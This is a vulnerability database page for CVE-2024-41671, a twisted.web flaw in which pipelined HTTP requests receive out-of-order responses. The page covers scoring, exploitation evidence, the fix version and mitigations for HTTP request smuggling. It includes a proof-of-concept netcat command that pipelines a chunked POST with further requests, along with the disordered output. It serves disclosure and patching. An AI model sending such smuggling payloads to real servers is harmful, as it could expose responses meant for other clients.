VulnerabilityPublished 29 Jul 2024Updated 4 Nov 2025

CVE-2024-41671: twisted.web has disordered HTTP pipeline response

Affects twistedSource GCVE Database

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Authoritative record:CVE-2024-41671· High 8.3

Not known to be exploited · CVSS 8.3 High : upgrade to 24.7.0rc1 soon.

Data as of 31 Oct 2026, 01:16 UTC

CVSS 3.1 base score

8.3High

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	8.3

Patch: Available – fixed in 24.7.0rc1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: Low
Integrity: Low
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 29 Jul 2024
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade twisted to 24.7.0rc1.

Affected software

Product	Affected	Fixed in
PyPItwisted	Affected <24.7.0rc1	Fixed in 24.7.0rc1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

CWE-444Inconsistent Interpretation of HTTP Requests (HTTP Request Smuggling) (opens in a new tab)
Base weaknessOWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
Implementation
Use a web server that employs a strict HTTP parsing procedure, such as Apache.
Implementation
Use only SSL communication.
Implementation
Terminate the client session after each request.
OWASP Cheat Sheets
REST Assessment (opens in a new tab)
REST Security (opens in a new tab)
Cross-Site Request Forgery Prevention (opens in a new tab)
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V13.2.5 (opens in a new tab)
Attack patterns
HTTP Response Smuggling (opens in a new tab)
HTTP Request Smuggling (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-444

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